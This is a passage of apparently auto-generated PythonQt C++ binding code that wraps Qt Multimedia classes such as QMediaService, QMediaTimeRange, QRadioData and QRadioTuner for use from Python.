if (_wrapper && (((PyObject*)_wrapper)->ob_refcnt > 0)) {
static PyObject* name = PyString_FromString("childEvent");
PyObject* obj = PyBaseObject_Type.tp_getattro((PyObject*)_wrapper, name);
if (obj) {
static const char* argumentList[] ={"" , "QChildEvent*"};
static const PythonQtMethodInfo* methodInfo = PythonQtMethodInfo::getCachedMethodInfoFromArgumentList(2, argumentList);
void* args[2] = {NULL, (void*)&arg__1};
PyObject* result = PythonQtSignalTarget::call(obj, methodInfo, args, true);
if (result) { Py_DECREF(result); }
Py_DECREF(obj);
return;
} else {
PyErr_Clear();
}
}
QMediaService::childEvent(arg__1);
}
void PythonQtShell_QMediaService::customEvent(QEvent* arg__1)
{
if (_wrapper && (((PyObject*)_wrapper)->ob_refcnt > 0)) {
static PyObject* name = PyString_FromString("customEvent");
PyObject* obj = PyBaseObject_Type.tp_getattro((PyObject*)_wrapper, name);
if (obj) {
static const char* argumentList[] ={"" , "QEvent*"};
static const PythonQtMethodInfo* methodInfo = PythonQtMethodInfo::getCachedMethodInfoFromArgumentList(2, argumentList);
void* args[2] = {NULL, (void*)&arg__1};
PyObject* result = PythonQtSignalTarget::call(obj, methodInfo, args, true);
if (result) { Py_DECREF(result); }
Py_DECREF(obj);
return;
} else {
PyErr_Clear();
}
}
QMediaService::customEvent(arg__1);
}
bool PythonQtShell_QMediaService::event(QEvent* arg__1)
{
if (_wrapper && (((PyObject*)_wrapper)->ob_refcnt > 0)) {
static PyObject* name = PyString_FromString("event");
PyObject* obj = PyBaseObject_Type.tp_getattro((PyObject*)_wrapper, name);
if (obj) {
static const char* argumentList[] ={"bool" , "QEvent*"};
static const PythonQtMethodInfo* methodInfo = PythonQtMethodInfo::getCachedMethodInfoFromArgumentList(2, argumentList);
bool returnValue;
void* args[2] = {NULL, (void*)&arg__1};
PyObject* result = PythonQtSignalTarget::call(obj, methodInfo, args, true);
if (result) {
args[0] = PythonQtConv::ConvertPythonToQt(methodInfo->parameters().at(0), result, false, NULL, &returnValue);
if (args[0]!=&returnValue) {
if (args[0]==NULL) {
PythonQt::priv()->handleVirtualOverloadReturnError("event", methodInfo, result);
} else {
returnValue = *((bool*)args[0]);
}
}
}
if (result) { Py_DECREF(result); }
Py_DECREF(obj);
return returnValue;
} else {
PyErr_Clear();
}
}
return QMediaService::event(arg__1);
}
bool PythonQtShell_QMediaService::eventFilter(QObject* arg__1, QEvent* arg__2)
{
if (_wrapper && (((PyObject*)_wrapper)->ob_refcnt > 0)) {
static PyObject* name = PyString_FromString("eventFilter");
PyObject* obj = PyBaseObject_Type.tp_getattro((PyObject*)_wrapper, name);
if (obj) {
static const char* argumentList[] ={"bool" , "QObject*" , "QEvent*"};
static const PythonQtMethodInfo* methodInfo = PythonQtMethodInfo::getCachedMethodInfoFromArgumentList(3, argumentList);
bool returnValue;
void* args[3] = {NULL, (void*)&arg__1, (void*)&arg__2};
PyObject* result = PythonQtSignalTarget::call(obj, methodInfo, args, true);
if (result) {
args[0] = PythonQtConv::ConvertPythonToQt(methodInfo->parameters().at(0), result, false, NULL, &returnValue);
if (args[0]!=&returnValue) {
if (args[0]==NULL) {
PythonQt::priv()->handleVirtualOverloadReturnError("eventFilter", methodInfo, result);
} else {
returnValue = *((bool*)args[0]);
}
}
}
if (result) { Py_DECREF(result); }
Py_DECREF(obj);
return returnValue;
} else {
PyErr_Clear();
}
}
return QMediaService::eventFilter(arg__1, arg__2);
}
void PythonQtShell_QMediaService::releaseControl(QMediaControl* control0)
{
if (_wrapper && (((PyObject*)_wrapper)->ob_refcnt > 0)) {
static PyObject* name = PyString_FromString("releaseControl");
PyObject* obj = PyBaseObject_Type.tp_getattro((PyObject*)_wrapper, name);
if (obj) {
static const char* argumentList[] ={"" , "QMediaControl*"};
static const PythonQtMethodInfo* methodInfo = PythonQtMethodInfo::getCachedMethodInfoFromArgumentList(2, argumentList);
void* args[2] = {NULL, (void*)&control0};
PyObject* result = PythonQtSignalTarget::call(obj, methodInfo, args, true);
if (result) { Py_DECREF(result); }
Py_DECREF(obj);
return;
} else {
PyErr_Clear();
}
}
}
QMediaControl* PythonQtShell_QMediaService::requestControl(const char* name0)
{
if (_wrapper && (((PyObject*)_wrapper)->ob_refcnt > 0)) {
static PyObject* name = PyString_FromString("requestControl");
PyObject* obj = PyBaseObject_Type.tp_getattro((PyObject*)_wrapper, name);
if (obj) {
static const char* argumentList[] ={"QMediaControl*" , "const char*"};
static const PythonQtMethodInfo* methodInfo = PythonQtMethodInfo::getCachedMethodInfoFromArgumentList(2, argumentList);
QMediaControl* returnValue;
void* args[2] = {NULL, (void*)&name0};
PyObject* result = PythonQtSignalTarget::call(obj, methodInfo, args, true);
if (result) {
args[0] = PythonQtConv::ConvertPythonToQt(methodInfo->parameters().at(0), result, false, NULL, &returnValue);
if (args[0]!=&returnValue) {
if (args[0]==NULL) {
PythonQt::priv()->handleVirtualOverloadReturnError("requestControl", methodInfo, result);
} else {
returnValue = *((QMediaControl**)args[0]);
}
}
}
if (result) { Py_DECREF(result); }
Py_DECREF(obj);
return returnValue;
} else {
PyErr_Clear();
}
}
return 0;
}
void PythonQtShell_QMediaService::timerEvent(QTimerEvent* arg__1)
{
if (_wrapper && (((PyObject*)_wrapper)->ob_refcnt > 0)) {
static PyObject* name = PyString_FromString("timerEvent");
PyObject* obj = PyBaseObject_Type.tp_getattro((PyObject*)_wrapper, name);
if (obj) {
static const char* argumentList[] ={"" , "QTimerEvent*"};
static const PythonQtMethodInfo* methodInfo = PythonQtMethodInfo::getCachedMethodInfoFromArgumentList(2, argumentList);
void* args[2] = {NULL, (void*)&arg__1};
PyObject* result = PythonQtSignalTarget::call(obj, methodInfo, args, true);
if (result) { Py_DECREF(result); }
Py_DECREF(obj);
return;
} else {
PyErr_Clear();
}
}
QMediaService::timerEvent(arg__1);
}
QMediaService* PythonQtWrapper_QMediaService::new_QMediaService(QObject* parent)
{
return new PythonQtShell_QMediaService(parent); }
void PythonQtWrapper_QMediaService::releaseControl(QMediaService* theWrappedObject, QMediaControl* control)
{
( ((PythonQtPublicPromoter_QMediaService*)theWrappedObject)->promoted_releaseControl(control));
}
QMediaControl* PythonQtWrapper_QMediaService::requestControl(QMediaService* theWrappedObject, const char* name)
{
return ( ((PythonQtPublicPromoter_QMediaService*)theWrappedObject)->promoted_requestControl(name));
}
QMediaTimeInterval* PythonQtWrapper_QMediaTimeInterval::new_QMediaTimeInterval()
{
return new QMediaTimeInterval(); }
QMediaTimeInterval* PythonQtWrapper_QMediaTimeInterval::new_QMediaTimeInterval(const QMediaTimeInterval& arg__1)
{
return new QMediaTimeInterval(arg__1); }
QMediaTimeInterval* PythonQtWrapper_QMediaTimeInterval::new_QMediaTimeInterval(qint64 start, qint64 end)
{
return new QMediaTimeInterval(start, end); }
bool PythonQtWrapper_QMediaTimeInterval::contains(QMediaTimeInterval* theWrappedObject, qint64 time) const
{
return ( theWrappedObject->contains(time));
}
qint64 PythonQtWrapper_QMediaTimeInterval::end(QMediaTimeInterval* theWrappedObject) const
{
return ( theWrappedObject->end());
}
bool PythonQtWrapper_QMediaTimeInterval::isNormal(QMediaTimeInterval* theWrappedObject) const
{
return ( theWrappedObject->isNormal());
}
QMediaTimeInterval PythonQtWrapper_QMediaTimeInterval::normalized(QMediaTimeInterval* theWrappedObject) const
{
return ( theWrappedObject->normalized());
}
bool PythonQtWrapper_QMediaTimeInterval::__eq__(QMediaTimeInterval* theWrappedObject, const QMediaTimeInterval& arg__2)
{
return ( (*theWrappedObject)== arg__2);
}
qint64 PythonQtWrapper_QMediaTimeInterval::start(QMediaTimeInterval* theWrappedObject) const
{
return ( theWrappedObject->start());
}
QMediaTimeInterval PythonQtWrapper_QMediaTimeInterval::translated(QMediaTimeInterval* theWrappedObject, qint64 offset) const
{
return ( theWrappedObject->translated(offset));
}
QMediaTimeRange* PythonQtWrapper_QMediaTimeRange::new_QMediaTimeRange()
{
return new QMediaTimeRange(); }
QMediaTimeRange* PythonQtWrapper_QMediaTimeRange::new_QMediaTimeRange(const QMediaTimeInterval& arg__1)
{
return new QMediaTimeRange(arg__1); }
QMediaTimeRange* PythonQtWrapper_QMediaTimeRange::new_QMediaTimeRange(const QMediaTimeRange& range)
{
return new QMediaTimeRange(range); }
QMediaTimeRange* PythonQtWrapper_QMediaTimeRange::new_QMediaTimeRange(qint64 start, qint64 end)
{
return new QMediaTimeRange(start, end); }
void PythonQtWrapper_QMediaTimeRange::addInterval(QMediaTimeRange* theWrappedObject, const QMediaTimeInterval& interval)
{
( theWrappedObject->addInterval(interval));
}
void PythonQtWrapper_QMediaTimeRange::addInterval(QMediaTimeRange* theWrappedObject, qint64 start, qint64 end)
{
( theWrappedObject->addInterval(start, end));
}
void PythonQtWrapper_QMediaTimeRange::addTimeRange(QMediaTimeRange* theWrappedObject, const QMediaTimeRange& arg__1)
{
( theWrappedObject->addTimeRange(arg__1));
}
void PythonQtWrapper_QMediaTimeRange::clear(QMediaTimeRange* theWrappedObject)
{
( theWrappedObject->clear());
}
bool PythonQtWrapper_QMediaTimeRange::contains(QMediaTimeRange* theWrappedObject, qint64 time) const
{
return ( theWrappedObject->contains(time));
}
qint64 PythonQtWrapper_QMediaTimeRange::earliestTime(QMediaTimeRange* theWrappedObject) const
{
return ( theWrappedObject->earliestTime());
}
QList<QMediaTimeInterval > PythonQtWrapper_QMediaTimeRange::intervals(QMediaTimeRange* theWrappedObject) const
{
return ( theWrappedObject->intervals());
}
bool PythonQtWrapper_QMediaTimeRange::isContinuous(QMediaTimeRange* theWrappedObject) const
{
return ( theWrappedObject->isContinuous());
}
bool PythonQtWrapper_QMediaTimeRange::isEmpty(QMediaTimeRange* theWrappedObject) const
{
return ( theWrappedObject->isEmpty());
}
qint64 PythonQtWrapper_QMediaTimeRange::latestTime(QMediaTimeRange* theWrappedObject) const
{
return ( theWrappedObject->latestTime());
}
QMediaTimeRange PythonQtWrapper_QMediaTimeRange::__add__(QMediaTimeRange* theWrappedObject, const QMediaTimeRange& arg__2)
{
return ( (*theWrappedObject)+ arg__2);
}
QMediaTimeRange* PythonQtWrapper_QMediaTimeRange::__iadd__(QMediaTimeRange* theWrappedObject, const QMediaTimeInterval& arg__1)
{
return &( (*theWrappedObject)+= arg__1);
}
QMediaTimeRange* PythonQtWrapper_QMediaTimeRange::__iadd__(QMediaTimeRange* theWrappedObject, const QMediaTimeRange& arg__1)
{
return &( (*theWrappedObject)+= arg__1);
}
QMediaTimeRange PythonQtWrapper_QMediaTimeRange::__sub__(QMediaTimeRange* theWrappedObject, const QMediaTimeRange& arg__2)
{
return ( (*theWrappedObject)- arg__2);
}
QMediaTimeRange* PythonQtWrapper_QMediaTimeRange::__isub__(QMediaTimeRange* theWrappedObject, const QMediaTimeInterval& arg__1)
{
return &( (*theWrappedObject)-= arg__1);
}
QMediaTimeRange* PythonQtWrapper_QMediaTimeRange::__isub__(QMediaTimeRange* theWrappedObject, const QMediaTimeRange& arg__1)
{
return &( (*theWrappedObject)-= arg__1);
}
QMediaTimeRange* PythonQtWrapper_QMediaTimeRange::operator_assign(QMediaTimeRange* theWrappedObject, const QMediaTimeInterval& arg__1)
{
return &( (*theWrappedObject)= arg__1);
}
QMediaTimeRange* PythonQtWrapper_QMediaTimeRange::operator_assign(QMediaTimeRange* theWrappedObject, const QMediaTimeRange& arg__1)
{
return &( (*theWrappedObject)= arg__1);
}
bool PythonQtWrapper_QMediaTimeRange::__eq__(QMediaTimeRange* theWrappedObject, const QMediaTimeRange& arg__2)
{
return ( (*theWrappedObject)== arg__2);
}
void PythonQtWrapper_QMediaTimeRange::removeInterval(QMediaTimeRange* theWrappedObject, const QMediaTimeInterval& interval)
{
( theWrappedObject->removeInterval(interval));
}
void PythonQtWrapper_QMediaTimeRange::removeInterval(QMediaTimeRange* theWrappedObject, qint64 start, qint64 end)
{
( theWrappedObject->removeInterval(start, end));
}
void PythonQtWrapper_QMediaTimeRange::removeTimeRange(QMediaTimeRange* theWrappedObject, const QMediaTimeRange& arg__1)
{
( theWrappedObject->removeTimeRange(arg__1));
}
QString PythonQtWrapper_QMediaTimeRange::py_toString(QMediaTimeRange* obj) {
QString result;
QDebug d(&result);
d << *obj;
return result;
}
PythonQtShell_QRadioData::~PythonQtShell_QRadioData() {
PythonQtPrivate* priv = PythonQt::priv();
if (priv) { priv->shellClassDeleted(this); }
}
void PythonQtShell_QRadioData::childEvent(QChildEvent* arg__1)
{
if (_wrapper && (((PyObject*)_wrapper)->ob_refcnt > 0)) {
static PyObject* name = PyString_FromString("childEvent");
PyObject* obj = PyBaseObject_Type.tp_getattro((PyObject*)_wrapper, name);
if (obj) {
static const char* argumentList[] ={"" , "QChildEvent*"};
static const PythonQtMethodInfo* methodInfo = PythonQtMethodInfo::getCachedMethodInfoFromArgumentList(2, argumentList);
void* args[2] = {NULL, (void*)&arg__1};
PyObject* result = PythonQtSignalTarget::call(obj, methodInfo, args, true);
if (result) { Py_DECREF(result); }
Py_DECREF(obj);
return;
} else {
PyErr_Clear();
}
}
QRadioData::childEvent(arg__1);
}
void PythonQtShell_QRadioData::customEvent(QEvent* arg__1)
{
if (_wrapper && (((PyObject*)_wrapper)->ob_refcnt > 0)) {
static PyObject* name = PyString_FromString("customEvent");
PyObject* obj = PyBaseObject_Type.tp_getattro((PyObject*)_wrapper, name);
if (obj) {
static const char* argumentList[] ={"" , "QEvent*"};
static const PythonQtMethodInfo* methodInfo = PythonQtMethodInfo::getCachedMethodInfoFromArgumentList(2, argumentList);
void* args[2] = {NULL, (void*)&arg__1};
PyObject* result = PythonQtSignalTarget::call(obj, methodInfo, args, true);
if (result) { Py_DECREF(result); }
Py_DECREF(obj);
return;
} else {
PyErr_Clear();
}
}
QRadioData::customEvent(arg__1);
}
bool PythonQtShell_QRadioData::event(QEvent* arg__1)
{
if (_wrapper && (((PyObject*)_wrapper)->ob_refcnt > 0)) {
static PyObject* name = PyString_FromString("event");
PyObject* obj = PyBaseObject_Type.tp_getattro((PyObject*)_wrapper, name);
if (obj) {
static const char* argumentList[] ={"bool" , "QEvent*"};
static const PythonQtMethodInfo* methodInfo = PythonQtMethodInfo::getCachedMethodInfoFromArgumentList(2, argumentList);
bool returnValue;
void* args[2] = {NULL, (void*)&arg__1};
PyObject* result = PythonQtSignalTarget::call(obj, methodInfo, args, true);
if (result) {
args[0] = PythonQtConv::ConvertPythonToQt(methodInfo->parameters().at(0), result, false, NULL, &returnValue);
if (args[0]!=&returnValue) {
if (args[0]==NULL) {
PythonQt::priv()->handleVirtualOverloadReturnError("event", methodInfo, result);
} else {
returnValue = *((bool*)args[0]);
}
}
}
if (result) { Py_DECREF(result); }
Py_DECREF(obj);
return returnValue;
} else {
PyErr_Clear();
}
}
return QRadioData::event(arg__1);
}
bool PythonQtShell_QRadioData::eventFilter(QObject* arg__1, QEvent* arg__2)
{
if (_wrapper && (((PyObject*)_wrapper)->ob_refcnt > 0)) {
static PyObject* name = PyString_FromString("eventFilter");
PyObject* obj = PyBaseObject_Type.tp_getattro((PyObject*)_wrapper, name);
if (obj) {
static const char* argumentList[] ={"bool" , "QObject*" , "QEvent*"};
static const PythonQtMethodInfo* methodInfo = PythonQtMethodInfo::getCachedMethodInfoFromArgumentList(3, argumentList);
bool returnValue;
void* args[3] = {NULL, (void*)&arg__1, (void*)&arg__2};
PyObject* result = PythonQtSignalTarget::call(obj, methodInfo, args, true);
if (result) {
args[0] = PythonQtConv::ConvertPythonToQt(methodInfo->parameters().at(0), result, false, NULL, &returnValue);
if (args[0]!=&returnValue) {
if (args[0]==NULL) {
PythonQt::priv()->handleVirtualOverloadReturnError("eventFilter", methodInfo, result);
} else {
returnValue = *((bool*)args[0]);
}
}
}
if (result) { Py_DECREF(result); }
Py_DECREF(obj);
return returnValue;
} else {
PyErr_Clear();
}
}
return QRadioData::eventFilter(arg__1, arg__2);
}
QMediaObject* PythonQtShell_QRadioData::mediaObject() const
{
if (_wrapper && (((PyObject*)_wrapper)->ob_refcnt > 0)) {
static PyObject* name = PyString_FromString("mediaObject");
PyObject* obj = PyBaseObject_Type.tp_getattro((PyObject*)_wrapper, name);
if (obj) {
static const char* argumentList[] ={"QMediaObject*"};
static const PythonQtMethodInfo* methodInfo = PythonQtMethodInfo::getCachedMethodInfoFromArgumentList(1, argumentList);
QMediaObject* returnValue;
void* args[1] = {NULL};
PyObject* result = PythonQtSignalTarget::call(obj, methodInfo, args, true);
if (result) {
args[0] = PythonQtConv::ConvertPythonToQt(methodInfo->parameters().at(0), result, false, NULL, &returnValue);
if (args[0]!=&returnValue) {
if (args[0]==NULL) {
PythonQt::priv()->handleVirtualOverloadReturnError("mediaObject", methodInfo, result);
} else {
returnValue = *((QMediaObject**)args[0]);
}
}
}
if (result) { Py_DECREF(result); }
Py_DECREF(obj);
return returnValue;
} else {
PyErr_Clear();
}
}
return QRadioData::mediaObject();
}
bool PythonQtShell_QRadioData::setMediaObject(QMediaObject* arg__1)
{
if (_wrapper && (((PyObject*)_wrapper)->ob_refcnt > 0)) {
static PyObject* name = PyString_FromString("setMediaObject");
PyObject* obj = PyBaseObject_Type.tp_getattro((PyObject*)_wrapper, name);
if (obj) {
static const char* argumentList[] ={"bool" , "QMediaObject*"};
static const PythonQtMethodInfo* methodInfo = PythonQtMethodInfo::getCachedMethodInfoFromArgumentList(2, argumentList);
bool returnValue;
void* args[2] = {NULL, (void*)&arg__1};
PyObject* result = PythonQtSignalTarget::call(obj, methodInfo, args, true);
if (result) {
args[0] = PythonQtConv::ConvertPythonToQt(methodInfo->parameters().at(0), result, false, NULL, &returnValue);
if (args[0]!=&returnValue) {
if (args[0]==NULL) {
PythonQt::priv()->handleVirtualOverloadReturnError("setMediaObject", methodInfo, result);
} else {
returnValue = *((bool*)args[0]);
}
}
}
if (result) { Py_DECREF(result); }
Py_DECREF(obj);
return returnValue;
} else {
PyErr_Clear();
}
}
return QRadioData::setMediaObject(arg__1);
}
void PythonQtShell_QRadioData::timerEvent(QTimerEvent* arg__1)
{
if (_wrapper && (((PyObject*)_wrapper)->ob_refcnt > 0)) {
static PyObject* name = PyString_FromString("timerEvent");
PyObject* obj = PyBaseObject_Type.tp_getattro((PyObject*)_wrapper, name);
if (obj) {
static const char* argumentList[] ={"" , "QTimerEvent*"};
static const PythonQtMethodInfo* methodInfo = PythonQtMethodInfo::getCachedMethodInfoFromArgumentList(2, argumentList);
void* args[2] = {NULL, (void*)&arg__1};
PyObject* result = PythonQtSignalTarget::call(obj, methodInfo, args, true);
if (result) { Py_DECREF(result); }
Py_DECREF(obj);
return;
} else {
PyErr_Clear();
}
}
QRadioData::timerEvent(arg__1);
}
QRadioData* PythonQtWrapper_QRadioData::new_QRadioData(QMediaObject* mediaObject, QObject* parent)
{
return new PythonQtShell_QRadioData(mediaObject, parent); }
QMultimedia::AvailabilityStatus PythonQtWrapper_QRadioData::availability(QRadioData* theWrappedObject) const
{
return ( theWrappedObject->availability());
}
QRadioData::Error PythonQtWrapper_QRadioData::error(QRadioData* theWrappedObject) const
{
return ( theWrappedObject->error());
}
QString PythonQtWrapper_QRadioData::errorString(QRadioData* theWrappedObject) const
{
return ( theWrappedObject->errorString());
}
bool PythonQtWrapper_QRadioData::isAlternativeFrequenciesEnabled(QRadioData* theWrappedObject) const
{
return ( theWrappedObject->isAlternativeFrequenciesEnabled());
}
QMediaObject* PythonQtWrapper_QRadioData::mediaObject(QRadioData* theWrappedObject) const
{
return ( ((PythonQtPublicPromoter_QRadioData*)theWrappedObject)->promoted_mediaObject());
}
QRadioData::ProgramType PythonQtWrapper_QRadioData::programType(QRadioData* theWrappedObject) const
{
return ( theWrappedObject->programType());
}
QString PythonQtWrapper_QRadioData::programTypeName(QRadioData* theWrappedObject) const
{
return ( theWrappedObject->programTypeName());
}
QString PythonQtWrapper_QRadioData::radioText(QRadioData* theWrappedObject) const
{
return ( theWrappedObject->radioText());
}
bool PythonQtWrapper_QRadioData::setMediaObject(QRadioData* theWrappedObject, QMediaObject* arg__1)
{
return ( ((PythonQtPublicPromoter_QRadioData*)theWrappedObject)->promoted_setMediaObject(arg__1));
}
QString PythonQtWrapper_QRadioData::stationId(QRadioData* theWrappedObject) const
{
return ( theWrappedObject->stationId());
}
QString PythonQtWrapper_QRadioData::stationName(QRadioData* theWrappedObject) const
{
return ( theWrappedObject->stationName());
}
PythonQtShell_QRadioTuner::~PythonQtShell_QRadioTuner() {
PythonQtPrivate* priv = PythonQt::priv();
if (priv) { priv->shellClassDeleted(this); }
}
QMultimedia::AvailabilityStatus PythonQtShell_QRadioTuner::availability() const
{
if (_wrapper && (((PyObject*)_wrapper)->ob_refcnt > 0)) {
static PyObject* name = PyString_FromString("availability");
PyObject* obj = PyBaseObject_Type.tp_getattro((PyObject*)_wrapper, name);
if (obj) {
static const char* argumentList[] ={"QMultimedia::AvailabilityStatus"};
static const PythonQtMethodInfo* methodInfo = PythonQtMethodInfo::getCachedMethodInfoFromArgumentList(1, argumentList);
QMultimedia::AvailabilityStatus returnValue;
void* args[1] = {NULL};
PyObject* result = PythonQtSignalTarget::call(obj, methodInfo, args, true);
if (result) {
args[0] = PythonQtConv::ConvertPythonToQt(methodInfo->parameters().at(0), result, false, NULL, &returnValue);
if (args[0]!=&returnValue) {
if (args[0]==NULL) {
PythonQt::priv()->handleVirtualOverloadReturnError("availability", methodInfo, result);
} else {
returnValue = *((QMultimedia::AvailabilityStatus*)args[0]);
}
}
}
if (result) { Py_DECREF(result); }
Py_DECREF(obj);
return returnValue;
} else {
PyErr_Clear();
}
}
return QRadioTuner::availability();
}
bool PythonQtShell_QRadioTuner::bind(QObject* arg__1)
{
if (_wrapper && (((PyObject*)_wrapper)->ob_refcnt > 0)) {
static PyObject* name = PyString_FromString("bind");
PyObject* obj = PyBaseObject_Type.tp_getattro((PyObject*)_wrapper, name);
if (obj) {
static const char* argumentList[] ={"bool" , "QObject*"};
static const PythonQtMethodInfo* methodInfo = PythonQtMethodInfo::getCachedMethodInfoFromArgumentList(2, argumentList);
bool returnValue;
void* args[2] = {NULL, (void*)&arg__1};
PyObject* result = PythonQtSignalTarget::call(obj, methodInfo, args, true);
if (result) {
args[0] = PythonQtConv::ConvertPythonToQt(methodInfo->parameters().at(0), result, false, NULL, &returnValue);
if (args[0]!=&returnValue) {
if (args[0]==NULL) {
PythonQt::priv()->handleVirtualOverloadReturnError("bind", methodInfo, result);
} else {
returnValue = *((bool*)args[0]);
}
}
}
if (result) { Py_DECREF(result); }
Py_DECREF(obj);
return returnValue;
} else {
PyErr_Clear();
}
}
return QRadioTuner::bind(arg__1);
}
void PythonQtShell_QRadioTuner::childEvent(QChildEvent* arg__1)
{
if (_wrapper && (((PyObject*)_wrapper)->ob_refcnt > 0)) {
static PyObject* name = PyString_FromString("childEvent");
PyObject* obj = PyBaseObject_Type.tp_getattro((PyObject*)_wrapper, name);
if (obj) {
static const char* argumentList[] ={"" , "QChildEvent*"};
static const PythonQtMethodInfo* methodInfo = PythonQtMethodInfo::getCachedMethodInfoFromArgumentList(2, argumentList);
void* args[2] = {NULL, (void*)&arg__1};
PyObject* result = PythonQtSignalTarget::call(obj, methodInfo, args, true);
if (result) { Py_DECREF(result); }
Py_DECREF(obj);
return;
} else {
PyErr_Clear();
}
}
QRadioTuner::childEvent(arg__1);
}
void PythonQtShell_QRadioTuner::customEvent(QEvent* arg__1)
{
if (_wrapper && (((PyObject*)_wrapper)->ob_refcnt > 0)) {
static PyObject* name = PyString_FromString("customEvent");
PyObject* obj = PyBaseObject_Type.tp_getattro((PyObject*)_wrapper, name);
if (obj) {
static const char* argumentList[] ={"" , "QEvent*"};
static const PythonQtMethodInfo* methodInfo = PythonQtMethodInfo::getCachedMethodInfoFromArgumentList(2, argumentList);
void* args[2] = {NULL, (void*)&arg__1};
PyObject* result = PythonQtSignalTarget::call(obj, methodInfo, args, true);
if (result) { Py_DECREF(result); }
Py_DECREF(obj);
return;
} else {
PyErr_Clear();
}
}
QRadioTuner::customEvent(arg__1);
}
bool PythonQtShell_QRadioTuner::event(QEvent* arg__1)
{
if (_wrapper && (((PyObject*)_wrapper)->ob_refcnt > 0)) {
static PyObject* name = PyString_FromString("event");
PyObject* obj = PyBaseObject_Type.tp_getattro((PyObject*)_wrapper, name);
if (obj) {
static const char* argumentList[] ={"bool" , "QEvent*"};
static const PythonQtMethodInfo* methodInfo = PythonQtMethodInfo::getCachedMethodInfoFromArgumentList(2, argumentList);
bool returnValue;
void* args[2] = {NULL, (void*)&arg__1};
PyObject* result = PythonQtSignalTarget::call(obj, methodInfo, args, true);
if (result) {
args[0] = PythonQtConv::ConvertPythonToQt(methodInfo->parameters().at(0), result, false, NULL, &returnValue);
if (args[0]!=&returnValue) {
if (args[0]==NULL) {
PythonQt::priv()->handleVirtualOverloadReturnError("event", methodInfo, result);
} else {
returnValue = *((bool*)args[0]);
}
}
}
if (result) { Py_DECREF(result); }
Py_DECREF(obj);
return returnValue;
} else {
PyErr_Clear();
}
}
return QRadioTuner::event(arg__1);
}
bool PythonQtShell_QRadioTuner::eventFilter(QObject* arg__1, QEvent* arg__2)
{
if (_wrapper && (((PyObject*)_wrapper)->ob_refcnt > 0)) {
static PyObject* name = PyString_FromString("eventFilter");
PyObject* obj = PyBaseObject_Type.tp_getattro((PyObject*)_wrapper, name);
if (obj) {
static const char* argumentList[] ={"bool" , "QObject*" , "QEvent*"};
static const PythonQtMethodInfo* methodInfo = PythonQtMethodInfo::getCachedMethodInfoFromArgumentList(3, argumentList);
bool returnValue;
void* args[3] = {NULL, (void*)&arg__1, (void*)&arg__2};
PyObject* result = PythonQtSignalTarget::call(obj, methodInfo, args, true);
if (result) {
args[0] = PythonQtConv::ConvertPythonToQt(methodInfo->parameters().at(0), result, false, NULL, &returnValue);
if (args[0]!=&returnValue) {
if (args[0]==NULL) {
PythonQt::priv()->handleVirtualOverloadReturnError("eventFilter", methodInfo, result);
} else {
returnValue = *((bool*)args[0]);
}
}
}
if (result) { Py_DECREF(result); }
Py_DECREF(obj);
return returnValue;
} else {
PyErr_Clear();
}
}
return QRadioTuner::eventFilter(arg__1, arg__2);
}
bool PythonQtShell_QRadioTuner::isAvailable() const
{
if (_wrapper && (((PyObject*)_wrapper)->ob_refcnt > 0)) {
static PyObject* name = PyString_FromString("isAvailable");
PyObject* obj = PyBaseObject_Type.tp_getattro((PyObject*)_wrapper, name);
if (obj) {
static const char* argumentList[] ={"bool"};
static const PythonQtMethodInfo* methodInfo = PythonQtMethodInfo::getCachedMethodInfoFromArgumentList(1, argumentList);
bool returnValue;
void* args[1] = {NULL};
PyObject* result = PythonQtSignalTarget::call(obj, methodInfo, args, true);
if (result) {
args[0] = PythonQtConv::ConvertPythonToQt(methodInfo->parameters().at(0), result, false, NULL, &returnValue);
if (args[0]!=&returnValue) {
if (args[0]==NULL) {
PythonQt::priv()->handleVirtualOverloadReturnError("isAvailable", methodInfo, result);
} else {
returnValue = *((bool*)args[0]);
}
}
}
if (result) { Py_DECREF(result); }
Py_DECREF(obj);
return returnValue;
} else {
PyErr_Clear();
}
}
return QRadioTuner::isAvailable();
}
QMediaService* PythonQtShell_QRadioTuner::service() const
{
if (_wrapper && (((PyObject*)_wrapper)->ob_refcnt > 0)) {
static PyObject* name = PyString_FromString("service");
PyObject* obj = PyBaseObject_Type.tp_getattro((PyObject*)_wrapper, name);
if (obj) {
static const char* argumentList[] ={"QMediaService*"};
static const PythonQtMethodInfo* methodInfo = PythonQtMethodInfo::getCachedMethodInfoFromArgumentList(1, argumentList);
QMediaService* returnValue;
void* args[1] = {NULL};
PyObject* result = PythonQtSignalTarget::call(obj, methodInfo, args, true);
if (result) {
args[0] = PythonQtConv::ConvertPythonToQt(methodInfo->parameters().at(0), result, false, NULL, &returnValue);
if (args[0]!=&returnValue) {
if (args[0]==NULL) {
PythonQt::priv()->handleVirtualOverloadReturnError("service", methodInfo, result);
} else {
returnValue = *((QMediaService**)args[0]);
}
}
}
if (result) { Py_DECREF(result); }
Py_DECREF(obj);
return returnValue;
} else {
PyErr_Clear();
}
}
return QRadioTuner::service();
}
void PythonQtShell_QRadioTuner::timerEvent(QTimerEvent* arg__1)
{
if (_wrapper && (((PyObject*)_wrapper)->ob_refcnt > 0)) {
static PyObject* name = PyString_FromString("timerEvent");
PyObject* obj = PyBaseObject_Type.tp_getattro((PyObject*)_wrapper, name);
if (obj) {
static const char* argumentList[] ={"" , "QTimerEvent*"};
static const PythonQtMethodInfo* methodInfo = PythonQtMethodInfo::getCachedMethodInfoFromArgumentList(2, argumentList);
void* args[2] = {NULL, (void*)&arg__1};
PyObject* result = PythonQtSignalTarget::call(obj, methodInfo, args, true);
if (result) { Py_DECREF(result); }
Py_DECREF(obj);
return;
} else {
PyErr_Clear();
}
}
QRadioTuner::timerEvent(arg__1);
}
void PythonQtShell_QRadioTuner::unbind(QObject* arg__1)
{
if (_wrapper && (((PyObject*)_wrapper)->ob_refcnt > 0)) {
static PyObject* name = PyString_FromString("unbind");
PyObject* obj = PyBaseObject_Type.tp_getattro((PyObject*)_wrapper, name);
if (obj) {
static const char* argumentList[] ={"" , "QObject*"};
static const PythonQtMethodInfo* methodInfo = PythonQtMethodInfo::getCachedMethodInfoFromArgumentList(2, argumentList);
void* args[2] = {NULL, (void*)&arg__1};
PyObject* result = PythonQtSignalTarget::call(obj, methodInfo, args, true);
if (result) { Py_DECREF(result); }
Py_DECREF(obj);
return;
} else {
PyErr_Clear();
}
}
QRadioTuner::unbind(arg__1);
}
QRadioTuner* PythonQtWrapper_QRadioTuner::new_QRadioTuner(QObject* parent)
{
return new PythonQtShell_QRadioTuner(parent); }
QMultimedia::AvailabilityStatus PythonQtWrapper_QRadioTuner::availability(QRadioTuner* theWrappedObject) const
{
